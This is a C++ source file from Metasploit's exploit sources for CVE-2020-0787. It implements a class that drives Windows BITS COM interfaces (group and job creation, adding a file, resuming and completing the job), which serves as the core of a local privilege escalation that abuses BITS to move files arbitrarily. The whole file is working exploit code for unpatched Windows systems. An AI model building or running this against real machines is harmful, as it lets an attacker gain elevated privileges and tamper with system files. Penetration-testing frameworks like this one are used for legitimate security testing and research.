metasploit-framework/external/source/exploits/CVE-2020-0787/BitsArbitraryFileMove/CBitsCom.cpp

295 lines
8.3 KiB
C++

#include "CBitsCom.h"
CBitsCom::CBitsCom()
{
HRESULT hRes;
m_guidGroup = BITSCOM_GUID_GROUP;
hRes = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
hRes = CoCreateGuid(&m_guidJob);
m_pUnkNewJobInterface = nullptr;
}
CBitsCom::~CBitsCom()
{
m_pUnkNewJobInterface = nullptr;
m_pBackgroundCopyJob1->Release();
m_pBackgroundCopyGroup->Release();
m_pBackgroundCopyQMgr->Release();
CoUninitialize();
// NOTE: CoUninitialize() OK
}
DWORD CBitsCom::PrepareJob(LPCWSTR pwszJobLocalFilename)
{
HRESULT hRes;
// --- Create an instance of BackgroundCopyQMgr ---
//IBackgroundCopyQMgr* pBackgroundCopyQMgr;
//hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&pBackgroundCopyQMgr);
hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&m_pBackgroundCopyQMgr);
if (FAILED(hRes))
{
wprintf(L"[-] CoCreateInstance() failed. HRESULT=0x%08Xd\n", hRes);
return BITSCOM_ERR_COCREATEINSTANCE_BCQMGR;
}
if (DEBUG) { wprintf_s(L"[DEBUG] CoCreateInstance() OK\n"); }
// --- Create a Group or use existing one ---
OLECHAR* groupGuidStr;
//IBackgroundCopyGroup* pBackgroundCopyGroup;
hRes = StringFromCLSID(m_guidGroup, &groupGuidStr);
if (DEBUG) { wprintf_s(L"[DEBUG] Using Group GUID %ls\n", groupGuidStr); }
//hRes = pBackgroundCopyQMgr->GetGroup(m_guidGroup, &pBackgroundCopyGroup);
//hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &pBackgroundCopyGroup);
hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &m_pBackgroundCopyGroup);
if (SUCCEEDED(hRes))
{
//hRes = pBackgroundCopyGroup->CancelGroup();
hRes = m_pBackgroundCopyGroup->CancelGroup();
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyGroup->CancelGroup() failed.\n");
wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
return BITSCOM_ERR_CANCELGROUP;
}
}
if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyGroup->CancelGroup() OK\n"); }
//hRes = pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &pBackgroundCopyGroup);
//hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &pBackgroundCopyGroup);
hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &m_pBackgroundCopyGroup);
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyQMgr->CreateGroup() failed.\n");
wprintf(L" |__ Group GUID = %ls\n", groupGuidStr);
//wprintf(L" |__ IBackgroundCopyGroup = %p\n", (void*)pBackgroundCopyGroup);
wprintf(L" |__ IBackgroundCopyGroup = %p\n", (void*)m_pBackgroundCopyGroup);
wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
return BITSCOM_ERR_CREATEGROUP;
}
if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyQMgr->CreateGroup() OK\n"); }
// --- Create a Job ---
OLECHAR* jobGuidStr;
//IBackgroundCopyJob1* backgroundCopyJob1;
hRes = StringFromCLSID(m_guidJob, &jobGuidStr);
if (DEBUG) { wprintf_s(L"[DEBUG] Using Job GUID %ls\n", jobGuidStr); }
//hRes = pBackgroundCopyGroup->CreateJob(m_guidJob, &backgroundCopyJob1);
//hRes = pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1);
hRes = m_pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1);
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyGroup->CreateJob() failed.\n");
wprintf(L" |__ Job GUID = %ls\n", jobGuidStr);
//wprintf(L" |__ IBackgroundCopyJob1 = %p\n", (void *)backgroundCopyJob1);
wprintf(L" |__ IBackgroundCopyJob1 = %p\n", (void *)m_pBackgroundCopyJob1);
wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
return BITSCOM_ERR_CREATEJOB;
}
if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyGroup->CreateJob() OK\n"); }
// --- Add file to job ---
FILESETINFO fileSetInfo;
BSTR bstrRemoteFile = SysAllocString(L"\\\\127.0.0.1\\C$\\Windows\\System32\\drivers\\etc\\hosts");
BSTR bstrLocalFile = SysAllocString(pwszJobLocalFilename);
fileSetInfo.bstrRemoteFile = bstrRemoteFile;
fileSetInfo.bstrLocalFile = bstrLocalFile;
FILESETINFO* fileSetInfoArray = (FILESETINFO*)malloc(1 * sizeof(FILESETINFO));
if (!fileSetInfoArray)
{
SysFreeString(bstrRemoteFile);
SysFreeString(bstrLocalFile);
wprintf(L"[-] malloc() failed (Err: %d).\n", GetLastError());
return BITSCOM_ERR_ALLOC_FILESETINFO;
}
fileSetInfoArray[0] = fileSetInfo;
//hRes = backgroundCopyJob1->AddFiles(1, &fileSetInfoArray);
hRes = m_pBackgroundCopyJob1->AddFiles(1, &fileSetInfoArray);
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyJob1->AddFiles() failed.\n");
wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
free(fileSetInfoArray);
SysFreeString(bstrRemoteFile);
SysFreeString(bstrLocalFile);
return BITSCOM_ERR_ALLOC_ADDFILES;
}
free(fileSetInfoArray);
SysFreeString(bstrRemoteFile);
SysFreeString(bstrLocalFile);
if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob1->AddFiles() OK\n"); }
return BITSCOM_ERR_SUCCESS;
}
DWORD CBitsCom::ResumeJob()
{
HRESULT hRes;
// --- Query new job interface ---
hRes = m_pBackgroundCopyGroup->QueryNewJobInterface(__uuidof(IBackgroundCopyJob), &m_pUnkNewJobInterface);
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyJob1->QueryNewJobInterface() failed.\n");
wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
return BITSCOM_ERR_QUERYNEWJOBINTERFACE;
}
if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob1->QueryNewJobInterface() OK"); }
CComQIPtr<IBackgroundCopyJob> pBackgrounCopyJob(m_pUnkNewJobInterface);
if (!pBackgrounCopyJob)
{
wprintf(L"[-] Interface pointer cast failed.\n");
return BITSCOM_ERR_JOBINTERFACECAST;
}
// --- Resume job ---
hRes = pBackgrounCopyJob->Resume();
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyJob->Resume() failed. HRESULT=0x%08X\n", hRes);
return BITSCOM_ERR_RESUMEJOB;
}
if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob->Resume() OK"); }
return BITSCOM_ERR_SUCCESS;
}
DWORD CBitsCom::CompleteJob()
{
HRESULT hRes;
// --- Check whether we have a valid interface pointer ---
if (m_pUnkNewJobInterface == nullptr)
{
wprintf(L"[-] New job interface pointer is null.\n");
return BITSCOM_ERR_NEWJOBINTERFACEISNULL;
}
// --- Cast interface poiter to IBackgroundCopyJob ---
CComQIPtr<IBackgroundCopyJob> pBackgrounCopyJob(m_pUnkNewJobInterface);
if (!pBackgrounCopyJob)
{
wprintf(L"[-] Interface pointer cast failed.\n");
return BITSCOM_ERR_JOBINTERFACECAST;
}
// --- Monitor job state ---
DWORD dwJobState = -1;
DWORD dwMaxAttempts = 10;
do {
BG_JOB_STATE bgJobStateCurrent;
hRes = pBackgrounCopyJob->GetState(&bgJobStateCurrent);
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyJob->GetState() failed.\n");
wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
}
if (bgJobStateCurrent != dwJobState)
{
WCHAR bgJobStateName[MAX_JOBSTATE_NAME];
ZeroMemory(bgJobStateName, MAX_JOBSTATE_NAME * sizeof(WCHAR));
GetJobStateName(bgJobStateCurrent, bgJobStateName);
wprintf(L"[*] Job state: %ls\n", bgJobStateName);
dwJobState = bgJobStateCurrent;
}
dwMaxAttempts--;
Sleep(1000);
} while (dwJobState != BG_JOB_STATE_TRANSFERRED && dwMaxAttempts != 0);
// If job state isn't BG_JOB_STATE_TRANSFERRED, the job failed
if (dwJobState != BG_JOB_STATE_TRANSFERRED)
{
return BITSCOM_ERR_JOB;
}
// --- Complete job ---
hRes = pBackgrounCopyJob->Complete();
if (FAILED(hRes))
{
wprintf(L"[-] IBackgroundCopyJob->Complete() failed.\n");
wprintf(L" |__ HRESULT = 0x%08X\n", hRes);
return BITSCOM_ERR_COMPLETEJOB;
}
if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob->Complete() OK\n"); }
return BITSCOM_ERR_SUCCESS;
}
BOOL CBitsCom::GetJobStateName(BG_JOB_STATE bgJobState, LPWSTR pwszJobName)
{
const WCHAR* res;
BOOL bRes = TRUE;
switch (bgJobState)
{
case BG_JOB_STATE_QUEUED:
res = L"BG_JOB_STATE_QUEUED";
break;
case BG_JOB_STATE_CONNECTING:
res = L"BG_JOB_STATE_CONNECTING";
break;
case BG_JOB_STATE_TRANSFERRING:
res = L"BG_JOB_STATE_TRANSFERRING";
break;
case BG_JOB_STATE_SUSPENDED:
res = L"BG_JOB_STATE_SUSPENDED";
break;
case BG_JOB_STATE_ERROR:
res = L"BG_JOB_STATE_ERROR";
break;
case BG_JOB_STATE_TRANSIENT_ERROR:
res = L"BG_JOB_STATE_TRANSIENT_ERROR";
break;
case BG_JOB_STATE_TRANSFERRED:
res = L"BG_JOB_STATE_TRANSFERRED";
break;
case BG_JOB_STATE_ACKNOWLEDGED:
res = L"BG_JOB_STATE_ACKNOWLEDGED";
break;
case BG_JOB_STATE_CANCELLED:
res = L"BG_JOB_STATE_CANCELLED";
break;
default:
res = L"UNKNOWN";
bRes = FALSE;
}
swprintf_s(pwszJobName, MAX_JOBSTATE_NAME, L"%ls", res);
return bRes;
}